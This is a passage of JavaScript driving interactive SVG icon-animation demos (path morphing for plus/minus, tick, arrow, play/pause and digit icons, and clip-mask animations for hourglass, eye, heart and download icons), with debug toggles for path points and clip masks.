animatePathMorph("plus_to_minus_path_animation", 250);
animatePoints("plus_minus_end_points_animation", 250, plusMinusPaths[0], plusMinusPaths[1], 0.4);
}
function animateMinusToPlus() {
maybeAnimateRotation("plus_minus_container_rotate", 300, 0, 180);
animatePathMorph("minus_to_plus_path_animation", 250);
animatePoints("plus_minus_end_points_animation", 250, plusMinusPaths[1], plusMinusPaths[0], 0.4);
}
// ================ Cross to tick.
var isIconTick = false;
document.getElementById("ic_cross_tick").addEventListener("click", function () {
if (isIconTick) {
animateTickToCross();
} else {
animateCrossToTick();
}
isIconTick = !isIconTick;
});
document.querySelector("input[id=pathMorphShowPathPointsCheckbox]").addEventListener("change", function () {
var pathPointsSelector = document.querySelector("input[id=pathMorphShowPathPointsCheckbox]");
var shouldShowPathPoints = pathPointsSelector.checked;
var visibility = shouldShowPathPoints ? "visible" : "hidden";
var endPointsPath = document.getElementById("cross_tick_end_points_path");
endPointsPath.style.visibility = visibility;
if (shouldShowPathPoints) {
var dotPathString = common.createPathDotString(crossTickPaths[isIconTick ? 1 : 0], 0.4);
endPointsPath.setAttribute('d', dotPathString);
}
});
function animateCrossToTick() {
maybeAnimateRotation("cross_tick_container_rotate", 300, 180, 360);
animatePathMorph("cross_to_tick_path_animation", 250);
animatePoints("cross_tick_end_points_animation", 250, crossTickPaths[0], crossTickPaths[1], 0.4);
}
function animateTickToCross() {
maybeAnimateRotation("cross_tick_container_rotate", 300, 0, 180);
animatePathMorph("tick_to_cross_path_animation", 250);
animatePoints("cross_tick_end_points_animation", 250, crossTickPaths[1], crossTickPaths[0], 0.4);
}
// ================ Drawer to arrow.
var isIconDrawer = true;
document.getElementById("ic_arrow_drawer").addEventListener("click", function () {
if (isIconDrawer) {
animateDrawerToArrow();
} else {
animateArrowToDrawer();
}
isIconDrawer = !isIconDrawer;
});
document.querySelector("input[id=pathMorphShowPathPointsCheckbox]").addEventListener("change", function () {
var pathPointsSelector = document.querySelector("input[id=pathMorphShowPathPointsCheckbox]");
var shouldShowPathPoints = pathPointsSelector.checked;
var visibility = shouldShowPathPoints ? "visible" : "hidden";
var endPointsPath = document.getElementById("arrow_drawer_end_points_path");
endPointsPath.style.visibility = visibility;
if (shouldShowPathPoints) {
var dotPathString = common.createPathDotString(drawerArrowPaths[isIconDrawer ? 0 : 1], 0.4);
endPointsPath.setAttribute('d', dotPathString);
}
});
function animateDrawerToArrow() {
maybeAnimateRotation("arrow_drawer_container_rotate", 300, 0, 180);
animatePathMorph("drawer_to_arrow_path_animation", 300);
animatePoints("drawer_arrow_end_points_animation", 300, drawerArrowPaths[0], drawerArrowPaths[1], 0.4);
}
function animateArrowToDrawer() {
maybeAnimateRotation("arrow_drawer_container_rotate", 300, 180, 360);
animatePathMorph("arrow_to_drawer_path_animation", 300);
animatePoints("drawer_arrow_end_points_animation", 300, drawerArrowPaths[1], drawerArrowPaths[0], 0.4);
}
// ================ Overflow to arrow.
var isIconOverflow = true;
var overflowArrowDotRadius = 0.3;
document.getElementById("ic_arrow_overflow").addEventListener("click", function () {
if (isIconOverflow) {
animateOverflowToArrow();
} else {
animateArrowToOverflow();
}
isIconOverflow = !isIconOverflow;
});
document.querySelector("input[id=pathMorphShowPathPointsCheckbox]").addEventListener("change", function () {
var pathPointsSelector = document.querySelector("input[id=pathMorphShowPathPointsCheckbox]");
var shouldShowPathPoints = pathPointsSelector.checked;
var visibility = shouldShowPathPoints ? "visible" : "hidden";
var endPointsPath1 = document.getElementById("arrow_overflow_end_points_path1");
var endPointsPath2 = document.getElementById("arrow_overflow_end_points_path2");
var endPointsPath3 = document.getElementById("arrow_overflow_end_points_path3");
endPointsPath1.style.visibility = visibility;
endPointsPath2.style.visibility = visibility;
endPointsPath3.style.visibility = visibility;
if (shouldShowPathPoints) {
var dotPathString1 = common.createPathDotString(isIconOverflow ? overflowToArrowPaths[0][0] : arrowToOverflowPaths[0][0], overflowArrowDotRadius);
var dotPathString2 = common.createPathDotString(isIconOverflow ? overflowToArrowPaths[1][0] : arrowToOverflowPaths[1][0], overflowArrowDotRadius);
var dotPathString3 = common.createPathDotString(isIconOverflow ? overflowToArrowPaths[2][0] : arrowToOverflowPaths[2][0], overflowArrowDotRadius);
endPointsPath1.setAttribute('d', dotPathString1);
endPointsPath2.setAttribute('d', dotPathString2);
endPointsPath3.setAttribute('d', dotPathString3);
}
});
function animateOverflowToArrow() {
animateRotationWithEasing("arrow_overflow_rotate_dot1", 400, 0, -45, "cubic-bezier(0, 0, 0, 1)");
document.getElementById("arrow_overflow_translate_dot1").animate([{
transform: "translateX(0px) translateY(-6px)",
offset: 0,
easing: "cubic-bezier(0.4, 0, 0.2, 1)"
}, {
transform: "translateX(-6.5px) translateY(0px)",
offset: 1
}], {
duration: getScaledAnimationDuration(300),
fill: "forwards"
});
animateTranslationXWithEasing("arrow_overflow_pivot_dot1", 200, 0, 4.5, "cubic-bezier(0, 0, 0, 1)");
animateTranslationX("arrow_overflow_translate_dot2", 250, 0, -8);
document.getElementById("arrow_overflow_pivot_dot2").animate([{
transform: "translateX(0px)",
offset: 0,
easing: "cubic-bezier(0.4, 0, 0.2, 1)"
}, {
transform: "translateX(8.18181818182px)",
offset: 0.4
}, {
transform: "translateX(9px)",
offset: 1
}], {
duration: getScaledAnimationDuration(200),
fill: "forwards"
});
animateRotationWithEasing("arrow_overflow_rotate_dot3", 400, 0, 45, "cubic-bezier(0, 0, 0, 1)");
document.getElementById("arrow_overflow_translate_dot3").animate([{
transform: "translateX(0px) translateY(6px)",
offset: 0,
easing: "cubic-bezier(0.4, 0, 0.2, 1)"
}, {
transform: "translateX(-6.5px) translateY(0px)",
offset: 1
}], {
duration: getScaledAnimationDuration(300),
fill: "forwards"
});
animateTranslationXWithEasing("arrow_overflow_pivot_dot3", 200, 0, 4.5, "cubic-bezier(0, 0, 0, 1)");
animatePathMorphWithValues("overflow_to_arrow_path1_animation", 300, overflowToArrowPaths[0]);
animatePathMorphWithValues("overflow_to_arrow_path2_animation", 300, overflowToArrowPaths[1]);
animatePathMorphWithValues("overflow_to_arrow_path3_animation", 300, overflowToArrowPaths[2]);
var endPointsAnimation1 = document.getElementById("arrow_overflow_end_points1_animation");
endPointsAnimation1.setAttributeNS(null, 'begin', '0ms');
endPointsAnimation1.setAttributeNS(null, 'keyTimes', '0;0.25;0.5;0.75;1');
endPointsAnimation1.setAttributeNS(null, 'keySplines', '0 0 1 1;0 0 1 1;0 0 1 1;0 0 1 1');
var endPointsAnimation2 = document.getElementById("arrow_overflow_end_points2_animation");
endPointsAnimation2.setAttributeNS(null, 'keyTimes', '0;0.1667;0.3333;0.5;0.6666;0.83333;1');
endPointsAnimation2.setAttributeNS(null, 'keySplines', '0 0 1 1;0 0 1 1;0 0 1 1;0 0 1 1;0 0 1 1;0 0 1 1');
endPointsAnimation2.setAttributeNS(null, 'values', overflowToArrowPaths[1]);
var endPointsAnimation3 = document.getElementById("arrow_overflow_end_points3_animation");
endPointsAnimation3.setAttributeNS(null, 'begin', '0ms');
endPointsAnimation3.setAttributeNS(null, 'keyTimes', '0;0.25;0.5;0.75;1');
endPointsAnimation3.setAttributeNS(null, 'keySplines', '0 0 1 1;0 0 1 1;0 0 1 1;0 0 1 1');
animatePointsWithList("arrow_overflow_end_points1_animation", 300, overflowToArrowPaths[0], overflowArrowDotRadius);
animatePointsWithList("arrow_overflow_end_points2_animation", 300, overflowToArrowPaths[1], overflowArrowDotRadius);
animatePointsWithList("arrow_overflow_end_points3_animation", 300, overflowToArrowPaths[2], overflowArrowDotRadius);
}
function animateArrowToOverflow() {
animateRotation("arrow_overflow_rotate_dot1", 400, -45, 0);
document.getElementById("arrow_overflow_translate_dot1").animate([{
transform: "translateX(-6.5px) translateY(0px)",
offset: 0,
easing: "cubic-bezier(0.4, 0, 0.2, 1)"
}, {
transform: "translateX(0px) translateY(-6px)",
offset: 1
}], {
duration: getScaledAnimationDuration(400),
fill: "forwards"
});
animateTranslationX("arrow_overflow_pivot_dot1", 300, 4.5, 0);
animateTranslationX("arrow_overflow_translate_dot2", 300, -8, 0);
animateTranslationX("arrow_overflow_pivot_dot2", 216, 9, 0);
animateRotation("arrow_overflow_rotate_dot3", 400, 45, 0);
document.getElementById("arrow_overflow_translate_dot3").animate([{
transform: "translateX(-6.5px) translateY(0px)",
offset: 0,
easing: "cubic-bezier(0.4, 0, 0.2, 1)"
}, {
transform: "translateX(0px) translateY(6px)",
offset: 1
}], {
duration: getScaledAnimationDuration(400),
fill: "forwards"
});
animateTranslationX("arrow_overflow_pivot_dot3", 300, 4.5, 0);
document.getElementById("arrow_to_overflow_path1_animation").setAttributeNS(null, 'begin', '50ms');
document.getElementById("arrow_to_overflow_path3_animation").setAttributeNS(null, 'begin', '50ms');
animatePathMorphWithValues("arrow_to_overflow_path1_animation", 300, arrowToOverflowPaths[0]);
animatePathMorphWithValues("arrow_to_overflow_path2_animation", 300, arrowToOverflowPaths[1]);
animatePathMorphWithValues("arrow_to_overflow_path3_animation", 300, arrowToOverflowPaths[2]);
var endPointsAnimation1 = document.getElementById("arrow_overflow_end_points1_animation");
endPointsAnimation1.setAttributeNS(null, 'begin', '50ms');
endPointsAnimation1.setAttributeNS(null, 'keyTimes', '0;0.125;0.25;0.375;0.5;0.625;0.75;0.875;1');
endPointsAnimation1.setAttributeNS(null, 'keySplines', '0 0 1 1;0 0 1 1;0 0 1 1;0 0 1 1;0 0 1 1;0 0 1 1;0 0 1 1;0 0 1 1');
var endPointsAnimation2 = document.getElementById("arrow_overflow_end_points2_animation");
endPointsAnimation2.setAttributeNS(null, 'keyTimes', '0;0.125;0.25;0.375;0.5;0.625;0.75;0.875;1');
endPointsAnimation2.setAttributeNS(null, 'keySplines', '0 0 1 1;0 0 1 1;0 0 1 1;0 0 1 1;0 0 1 1;0 0 1 1;0 0 1 1;0 0 1 1');
var endPointsAnimation3 = document.getElementById("arrow_overflow_end_points3_animation");
endPointsAnimation3.setAttributeNS(null, 'begin', '50ms');
endPointsAnimation3.setAttributeNS(null, 'keyTimes', '0;0.125;0.25;0.375;0.5;0.625;0.75;0.875;1');
endPointsAnimation3.setAttributeNS(null, 'keySplines', '0 0 1 1;0 0 1 1;0 0 1 1;0 0 1 1;0 0 1 1;0 0 1 1;0 0 1 1;0 0 1 1');
animatePointsWithList("arrow_overflow_end_points1_animation", 300, arrowToOverflowPaths[0], overflowArrowDotRadius);
animatePointsWithList("arrow_overflow_end_points2_animation", 300, arrowToOverflowPaths[1], overflowArrowDotRadius);
animatePointsWithList("arrow_overflow_end_points3_animation", 300, arrowToOverflowPaths[2], overflowArrowDotRadius);
}
// ================ Play/pause/stop.
var currentPlayPauseStopIconIndex = 0;
document.getElementById("ic_play_pause_stop").addEventListener("click", function () {
var previousPlayPauseStopIconIndex = currentPlayPauseStopIconIndex;
currentPlayPauseStopIconIndex = (currentPlayPauseStopIconIndex + 1) % 3;
animatePlayPauseStop(previousPlayPauseStopIconIndex, currentPlayPauseStopIconIndex);
});
document.querySelector("input[id=pathMorphRotateCheckbox]").addEventListener("change", function () {
var animateRotationSelector = document.querySelector("input[id=pathMorphRotateCheckbox]");
var currentRotation = animateRotationSelector.checked && currentPlayPauseStopIconIndex === 0 ? 90 : 0;
// TODO(alockwood): fix this hack...
document.getElementById("play_pause_stop_rotate").animate([{
transform: "rotate(" + currentRotation + "deg)",
offset: 0,
}, {
transform: "rotate(" + currentRotation + "deg)",
offset: 1,
}], {
duration: 0,
fill: "forwards"
});
});
document.querySelector("input[id=pathMorphShowPathPointsCheckbox]").addEventListener("change", function () {
var pathPointsSelector = document.querySelector("input[id=pathMorphShowPathPointsCheckbox]");
var shouldShowPathPoints = pathPointsSelector.checked;
var visibility = shouldShowPathPoints ? "visible" : "hidden";
var endPointsPath = document.getElementById("play_pause_stop_end_points_path");
endPointsPath.style.visibility = visibility;
if (shouldShowPathPoints) {
var dotPathString = common.createPathDotString(playPauseStopPaths[currentPlayPauseStopIconIndex], 0.4);
endPointsPath.setAttribute('d', dotPathString);
}
});
function animatePlayPauseStop(oldIconIndex, newIconIndex) {
var startingRotation = 0;
if (oldIconIndex === 0) {
startingRotation = 90;
} else if (oldIconIndex === 1) {
startingRotation = 0;
} else if (newIconIndex === 0) {
startingRotation = 0;
} else if (newIconIndex === 1) {
startingRotation = 90;
}
maybeAnimateRotation("play_pause_stop_rotate", 200, startingRotation, startingRotation + 90);
var oldPathString = playPauseStopPaths[oldIconIndex];
var newPathString = playPauseStopPaths[newIconIndex];
animatePathMorphWithValues("play_pause_stop_animation", 200, [oldPathString, newPathString]);
animateTranslationX("play_pause_stop_translateX", 200, playPauseStopTranslationX[oldIconIndex], playPauseStopTranslationX[newIconIndex]);
animatePoints("play_pause_stop_end_points_animation", 200, oldPathString, newPathString, 0.4);
}
// =============== Animated digits.
var numDigitClicks = 0;
document.querySelector("input[id=pathMorphShowPathPointsCheckbox]").addEventListener("change", function () {
var currentPoints = getPointsInPath(0);
var countdownDigitsCp1Path = document.getElementById("countdown_digits_cp1");
var countdownDigitsCp2Path = document.getElementById("countdown_digits_cp2");
var countdownDigitsEndPath = document.getElementById("countdown_digits_end");
countdownDigitsCp1Path.setAttribute("d", currentPoints[0]);
countdownDigitsCp2Path.setAttribute("d", currentPoints[1]);
countdownDigitsEndPath.setAttribute("d", currentPoints[2]);
var visibility = document.querySelector("input[id=pathMorphShowPathPointsCheckbox]").checked ? "visible" : "hidden";
countdownDigitsCp1Path.style.visibility = visibility;
countdownDigitsCp2Path.style.visibility = visibility;
countdownDigitsEndPath.style.visibility = visibility;
animateCount(numDigitClicks % 10, numDigitClicks % 10);
});
document.getElementById("ic_countdown").addEventListener("click", function () {
animateCount(numDigitClicks % 10, (numDigitClicks + 1) % 10);
numDigitClicks += 1;
});
function createEllipsePath(radius) {
var r = radius;
var d = radius * 2;
return "m-" + r + ",0a" + r + "," + r + ",0,1,0," + d + ",0a " + r + "," + r + ",0,1,0-" + d + ",0z";
}
function createControlPointPath() {
return createEllipsePath(0.015);
}
function createEndPointPath() {
return createEllipsePath(0.025);
}
function getPointsInPath(digit) {
var digitPath = digitPaths[digit];
var numbers = digitPath.split(" ");
var xcoords = [];
var ycoords = [];
var numPoints = 0;
var i;
for (i = 0; i < numbers.length; i++) {
var xy = numbers[i].split(",");
if (xy.length == 2) {
xcoords.push(xy[0]);
ycoords.push(xy[1]);
numPoints++;
}
}
var cp1Path = "";
var cp2Path = "";
var endPath = "";
var controlPointPath = createControlPointPath();
var endPointPath = createEndPointPath();
for (i = 0; i < numPoints; i++) {
var point = "M" + xcoords[i] + "," + ycoords[i];
if (i % 3 === 0) {
endPath += point + endPointPath;
} else if (i % 3 == 1) {
cp1Path += point + controlPointPath;
} else {
cp2Path += point + controlPointPath;
}
}
return [cp1Path, cp2Path, endPath];
}
function animateCount(currentDigit, nextDigit) {
var duration = getScaledAnimationDuration(300);
var countdownDigitsAnimation = document.getElementById("countdown_digits_animation");
countdownDigitsAnimation.setAttributeNS(null, 'dur', duration + 'ms');
countdownDigitsAnimation.setAttributeNS(null, 'values', digitPaths[currentDigit] + ";" + digitPaths[nextDigit]);
countdownDigitsAnimation.beginElement();
var currentPoints = getPointsInPath(currentDigit);
var nextPoints = getPointsInPath(nextDigit);
var cp1Animation = document.getElementById("countdown_digits_cp1_animation");
cp1Animation.setAttributeNS(null, 'dur', duration + 'ms');
cp1Animation.setAttributeNS(null, 'values', currentPoints[0] + ";" + nextPoints[0]);
cp1Animation.beginElement();
var cp2Animation = document.getElementById("countdown_digits_cp2_animation");
cp2Animation.setAttributeNS(null, 'dur', duration + 'ms');
cp2Animation.setAttributeNS(null, 'values', currentPoints[1] + ";" + nextPoints[1]);
cp2Animation.beginElement();
var endAnimation = document.getElementById("countdown_digits_end_animation");
endAnimation.setAttributeNS(null, 'dur', duration + 'ms');
endAnimation.setAttributeNS(null, 'values', currentPoints[2] + ";" + nextPoints[2]);
endAnimation.beginElement();
}
});
// =======================================================================================
// =======================================================================================
// =======================================================================================
// =============== DEMO: clip path animated icon demos (hourglass, eye visibility, heart)
// =======================================================================================
// =======================================================================================
// =======================================================================================
document.addEventListener("DOMContentLoaded", function () {
var fastOutSlowIn = "cubic-bezier(0.4, 0, 0.2, 1)";
var linearOutSlowIn = "cubic-bezier(0, 0, 0.2, 1)";
function getScaledAnimationDuration(durationMillis) {
var slowAnimationSelector = document.querySelector("input[id=clipPathSlowAnimationCheckbox]");
var currentAnimationDurationFactor = slowAnimationSelector.checked ? 5 : 1;
return durationMillis * currentAnimationDurationFactor;
}
function shouldShowDebugClipMasks() {
return document.querySelector("input[id=clipPathShowClipMaskCheckbox]").checked;
}
document.querySelector("input[id=clipPathShowClipMaskCheckbox]").addEventListener("change", function () {
if (shouldShowDebugClipMasks()) {
document.getElementById("eye_mask_clip_path_debug").style.visibility = "visible";
document.getElementById("heart_clip_path_debug").style.visibility = "visible";
document.getElementById("hourglass_clip_mask_debug").style.visibility = "visible";
} else {
document.getElementById("eye_mask_clip_path_debug").style.visibility = "hidden";
document.getElementById("heart_clip_path_debug").style.visibility = "hidden";
document.getElementById("hourglass_clip_mask_debug").style.visibility = "hidden";
}
});
// =============== Hourglass icon.
var isHourglassRotated = false;
var startHourglassClipPath = "M 24,13.4 c 0,0 -24,0 -24,0 c 0,0 0,10.6 0,10.6 c 0,0 24,0 24,0 c 0,0 0,-10.6 0,-10.6 Z";
var endHourglassClipPath = "M 24,0 c 0,0 -24,0 -24,0 c 0,0 0,10.7 0,10.7 c 0,0 24,0 24,0 c 0,0 0,-10.7 0,-10.7 Z";
document.getElementById("ic_timer").addEventListener("click", function () {
animateHourglass();
isHourglassRotated = !isHourglassRotated;
});
function animateHourglass() {
var startClip = isHourglassRotated ? endHourglassClipPath : startHourglassClipPath;
var endClip = isHourglassRotated ? startHourglassClipPath : endHourglassClipPath;
var startRotate = isHourglassRotated ? "rotate(180deg)" : "rotate(0deg)";
var endRotate = isHourglassRotated ? "rotate(360deg)" : "rotate(180deg)";
var clipPathValues = startClip + ";" + endClip;
document.getElementById("hourglass_fill_rotation").animate([
{ transform: startRotate, offset: 0, easing: fastOutSlowIn },
{ transform: endRotate, offset: 1 }
], { duration: getScaledAnimationDuration(333), fill: "forwards" });
document.getElementById("hourglass_frame_rotation").animate([
{ transform: startRotate, offset: 0, easing: fastOutSlowIn },
{ transform: endRotate, offset: 1 }
], { duration: getScaledAnimationDuration(333), fill: "forwards" });
var startDelay = getScaledAnimationDuration(333);
var duration = getScaledAnimationDuration(1000);
var hourglassClipAnimation = document.getElementById("hourglass_clip_mask_animation");
hourglassClipAnimation.setAttributeNS(null, "begin", startDelay + "ms");
hourglassClipAnimation.setAttributeNS(null, "dur", duration + "ms");
hourglassClipAnimation.setAttributeNS(null, "values", clipPathValues);
hourglassClipAnimation.beginElement();
var hourglassClipDebugAnimation = document.getElementById("hourglass_clip_mask_debug_animation");
hourglassClipDebugAnimation.setAttributeNS(null, "begin", startDelay + "ms");
hourglassClipDebugAnimation.setAttributeNS(null, "dur", duration + "ms");
hourglassClipDebugAnimation.setAttributeNS(null, "values", clipPathValues);
hourglassClipDebugAnimation.beginElement();
}
// =============== Eye visibility icon.
var eyeMaskCrossedOut = "M2,4.27 L19.73,22 L22.27,19.46 L4.54,1.73 L4.54,1 L23,1 L23,23 L1,23 L1,4.27 Z";
var eyeMaskVisible = "M2,4.27 L2,4.27 L4.54,1.73 L4.54,1.73 L4.54,1 L23,1 L23,23 L1,23 L1,4.27 Z";
var isCrossedOut = true;
document.getElementById("ic_visibility").addEventListener("click", function () {
if (isCrossedOut) {
animateReverseCrossOut();
} else {
animateCrossOut();
}
isCrossedOut = !isCrossedOut;
});
function animateCrossOut() {
var duration = getScaledAnimationDuration(320);
var eyeClipAnimation = document.getElementById("eye_mask_animation");
eyeClipAnimation.setAttributeNS(null, "dur", duration + "ms");
eyeClipAnimation.setAttributeNS(null, "values", eyeMaskVisible + ";" + eyeMaskCrossedOut);
eyeClipAnimation.beginElement();
var eyeClipDebugAnimation = document.getElementById("eye_mask_debug_animation");
eyeClipDebugAnimation.setAttributeNS(null, "dur", duration + "ms");
eyeClipDebugAnimation.setAttributeNS(null, "values", eyeMaskVisible + ";" + eyeMaskCrossedOut);
eyeClipDebugAnimation.beginElement();
var crossOutPath = document.getElementById("cross_out_path");
var pathLength = crossOutPath.getTotalLength();
crossOutPath.animate([
{ strokeDasharray: pathLength, strokeDashoffset: pathLength, offset: 0, easing: fastOutSlowIn },
{ strokeDasharray: pathLength, strokeDashoffset: 0, offset: 1 }
], { duration: duration, fill: "forwards" });
}
function animateReverseCrossOut() {
var duration = getScaledAnimationDuration(200);
var eyeClipAnimation = document.getElementById("eye_mask_animation");
eyeClipAnimation.setAttributeNS(null, "dur", duration + "ms");
eyeClipAnimation.setAttributeNS(null, "values", eyeMaskCrossedOut + ";" + eyeMaskVisible);
eyeClipAnimation.beginElement();
var eyeClipDebugAnimation = document.getElementById("eye_mask_debug_animation");
eyeClipDebugAnimation.setAttributeNS(null, "dur", duration + "ms");
eyeClipDebugAnimation.setAttributeNS(null, "values", eyeMaskCrossedOut + ";" + eyeMaskVisible);
eyeClipDebugAnimation.beginElement();
var crossOutPath = document.getElementById("cross_out_path");
var pathLength = crossOutPath.getTotalLength();
crossOutPath.animate([
{ strokeDasharray: pathLength, strokeDashoffset: 0, offset: 0, easing: fastOutSlowIn },
{ strokeDasharray: pathLength, strokeDashoffset: pathLength, offset: 1 }
], { duration: duration, fill: "forwards" });
}
// =============== Heart break icon.
var isHeartFull = false;
document.getElementById("ic_heart").addEventListener("click", function () {
if (isHeartFull) {
animateHeartToBroken();
} else {
animateHeartToFull();
}
isHeartFull = !isHeartFull;
});
function animateHeartToFull() {
document.getElementById("heart_full_path").style.visibility = "visible";
var duration = getScaledAnimationDuration(300);
var heartFillAnimation = document.getElementById("heart_fill_animation");
heartFillAnimation.setAttributeNS(null, "dur", duration + "ms");
heartFillAnimation.beginElement();
if (shouldShowDebugClipMasks()) {
document.getElementById("heart_clip_path_debug").style.visibility = "visible";
var heartFillDebugAnimation = document.getElementById("heart_fill_debug_animation");
heartFillDebugAnimation.setAttributeNS(null, "dur", duration + "ms");
heartFillDebugAnimation.beginElement();
}
}
function animateHeartBreak() {
document.getElementById("heart_clip_path_debug").style.visibility = "hidden";
document.getElementById("broken_heart_rotate_left_group").animate([
{ transform: "rotate(0deg)", offset: 0, easing: linearOutSlowIn },
{ transform: "rotate(-20deg)", offset: 1 }
], { duration: getScaledAnimationDuration(400), fill: "forwards" });
document.getElementById("broken_heart_rotate_right_group").animate([
{ transform: "rotate(0deg)", offset: 0, easing: linearOutSlowIn },
{ transform: "rotate(20deg)", offset: 1 }
], { duration: getScaledAnimationDuration(400), fill: "forwards" });
var heartBreakLeftPath = document.getElementById("broken_heart_left_path");
var heartBreakRightPath = document.getElementById("broken_heart_right_path");
heartBreakLeftPath.animate([
{ fillOpacity: 1, offset: 0 },
{ fillOpacity: 1, offset: 1 }
], { duration: 0, fill: "forwards" });
heartBreakRightPath.animate([
{ fillOpacity: 1, offset: 0 },
{ fillOpacity: 1, offset: 1 }
], { duration: 0, fill: "forwards" });
heartBreakLeftPath.animate([
{ fillOpacity: 1, offset: 0, easing: linearOutSlowIn },
{ fillOpacity: 0, offset: 1 }
], { duration: getScaledAnimationDuration(300), fill: "forwards", delay: getScaledAnimationDuration(100) });
heartBreakRightPath.animate([
{ fillOpacity: 1, offset: 0, easing: linearOutSlowIn },
{ fillOpacity: 0, offset: 1 }
], { duration: getScaledAnimationDuration(300), fill: "forwards", delay: getScaledAnimationDuration(100) });
}
function animateHeartToBroken() {
animateHeartBreak();
var heartStrokeLeftPath = document.getElementById("heart_stroke_left");
var heartStrokeRightPath = document.getElementById("heart_stroke_right");
var pathLeftLength = heartStrokeLeftPath.getTotalLength();
var pathRightLength = heartStrokeRightPath.getTotalLength();
heartStrokeLeftPath.animate([
{ strokeDasharray: pathLeftLength, strokeDashoffset: pathLeftLength, strokeOpacity: 0, offset: 0 },
{ strokeDasharray: pathLeftLength, strokeDashoffset: pathLeftLength, strokeOpacity: 0, offset: 1 }
], { duration: 0, fill: "forwards" });
heartStrokeRightPath.animate([{ strokeDasharray: pathRightLength, strokeDashoffset: pathRightLength, strokeOpacity: 0, offset: 0 },
{ strokeDasharray: pathRightLength, strokeDashoffset: pathRightLength, strokeOpacity: 0, offset: 1 }
], { duration: 0, fill: "forwards" });
heartStrokeLeftPath.animate([
{ strokeDasharray: pathLeftLength, strokeDashoffset: pathLeftLength, strokeOpacity: 0.4, offset: 0, easing: fastOutSlowIn },
{ strokeDasharray: pathLeftLength, strokeDashoffset: 0, strokeOpacity: 1, offset: 1 }
], { duration: getScaledAnimationDuration(300), fill: "forwards", delay: getScaledAnimationDuration(400) });
heartStrokeRightPath.animate([
{ strokeDasharray: pathRightLength, strokeDashoffset: pathRightLength, strokeOpacity: 0.4, offset: 0, easing: fastOutSlowIn },
{ strokeDasharray: pathRightLength, strokeDashoffset: 0, strokeOpacity: 1, offset: 1 }
], { duration: getScaledAnimationDuration(300), fill: "forwards", delay: getScaledAnimationDuration(400) });
document.getElementById("heart_full_path").style.visibility = "hidden";
}
});
// =======================================================================================
// =======================================================================================
// =======================================================================================
// =============== DEMO: downloading animated icon demo
// =======================================================================================
// =======================================================================================
// =======================================================================================
document.addEventListener("DOMContentLoaded", function () {
var root = document.getElementById("includes10");
var fastOutSlowIn = common.fastOutSlowIn;
var linearOutSlowIn = common.linearOutSlowIn;
var downloadingAnimations = [];
var isDownloading = false;
var lastKnownTimeMillis = 0;
var isCompleteAnimationPending = false;
var downloadingClipMaskDebug = document.getElementById("downloading_arrow_fill_clip_debug");
var downloadingClipMaskAnimationDebug = document.getElementById("downloading_arrow_fill_clip_animation_debug");
var downloadingLinePointsPath = document.getElementById("downloading_line_points_path");
var downloadingLinePointsPathAnimation = document.getElementById("downloading_line_points_path_animation");
var downloadingCheckArrowPointsPath = document.getElementById("downloading_check_arrow_points_path");
var downloadingCheckArrowPointsPathAnimation = document.getElementById("downloading_check_arrow_points_path_animation");
// Setup path morph point paths.
(function () {
var i;
var downloadingLinePaths = [
"M 50,190 c 0,0 47.66,0 70,0 c 22.34,0 70,0 70,0",
"M 50,190 c 0,0 47.66,0 70,0 c 22.34,0 70,0 70,0",
"M 50,190 c 0,0 32.34,19.79 70,19.79 c 37.66,0 70,-19.79 70,-19.79",
"M 50,190 c 0,0 26.45,-7.98 69.67,-7.98 c 43.21,0 70.33,7.98 70.33,7.98",
"M 50,190 c 0,0 47.66,0 70,0 c 22.34,0 70,0 70,0"
];
downloadingLinePointsPath.setAttribute("d", common.createPathDotString(downloadingLinePaths[0], 4));
var downloadingLinePointsValues = [];
for (i = 0; i < downloadingLinePaths.length; i += 1) {
downloadingLinePointsValues.push(common.createPathDotString(downloadingLinePaths[i], 4));
}
downloadingLinePointsPathAnimation.setAttributeNS(null, "values", downloadingLinePointsValues.join(";"));
var downloadingCheckArrowPaths = [
"M 129.12,164 c 0,0 0.88,0 0.88,0 c 0,0 0,-134 0,-134 c 0,0 -20,0 -20,0 c 0,0 -0.1,114.38 -0.1,114.38 c 0,0 -51.8,-0.13 -51.8,-0.13 c 0,0 0.01,19.87 0.01,19.87 c 0,0 68.02,-0.11 68.02,-0.11 c 0,0 2.98,0 2.98,0 Z",
"M 129.12,164 c 0,0 0.88,0 0.88,0 c 0,0 0,-134 0,-134 c 0,0 -20,0 -20,0 c 0,0 -0.1,114.38 -0.1,114.38 c 0,0 0,-0.02 0,-0.02 c 0,0 0.01,19.87 0.01,19.87 c 0,0 18.4,-0.21 18.4,-0.21 c 0,0 0.81,-0.01 0.81,-0.01 Z",
"M 119.5,164 c 0,0 10.5,0 10.5,0 c 0,0 0,-134 0,-134 c 0,0 -20,0 -20,0 c 0,0 0,134 0,134 c 0,0 9.5,0 9.5,0 c 0,0 0,0 0,0 c 0,0 0,0 0,0 c 0,0 0,0 0,0 Z",
"M 119.5,90 c 0,0 30.5,0 30.5,0 c 0,0 0,-60 0,-60 c 0,0 -60,0 -60,0 c 0,0 0,60 0,60 c 0,0 29.5,0 29.5,0 c 0,0 0,0 0,0 c 0,0 0,0 0,0 c 0,0 0,0 0,0 Z",
"M 119.5,90 c 0,0 30.5,0 30.5,0 c 0,0 0,-60 0,-60 c 0,0 -60,0 -60,0 c 0,0 0,60 0,60 c 0,0 29.5,0 29.5,0 c 0,0 0,0 0,0 c 0,0 0,0 0,0 c 0,0 0,0 0,0 Z",
"M 190,90 c 0,0 -40,0 -40,0 c 0,0 0,-60 0,-60 c 0,0 -60,0 -60,0 c 0,0 0,60 0,60 c 0,0 -40,0 -40,0 c 0,0 70,70 70,70 c 0,0 70,-70 70,-70 c 0,0 0,0 0,0 Z"
];
downloadingCheckArrowPointsPath.setAttribute("d", common.createPathDotString(downloadingCheckArrowPaths[0], 4));
var downloadingCheckArrowPointsValues = [];
for (i = 0; i < downloadingCheckArrowPaths.length; i += 1) {
downloadingCheckArrowPointsValues.push(common.createPathDotString(downloadingCheckArrowPaths[i], 4));
}
downloadingCheckArrowPointsPathAnimation.setAttributeNS(null, "values", downloadingCheckArrowPointsValues.join(";"));
})();
document.querySelector(root.nodeName + "#" + root.id + " input[id=includes10_showPathPointsCheckbox]").addEventListener("change", function () {
var visibility = document.querySelector(root.nodeName + "#" + root.id + " input[id=includes10_showPathPointsCheckbox]").checked ? "visible" : "hidden";
downloadingLinePointsPath.style.visibility = visibility;
downloadingCheckArrowPointsPath.style.visibility = visibility;
});
document.querySelector(root.nodeName + "#" + root.id + " input[id=includes10_showTrimPathsCheckbox]").addEventListener("change", function () {
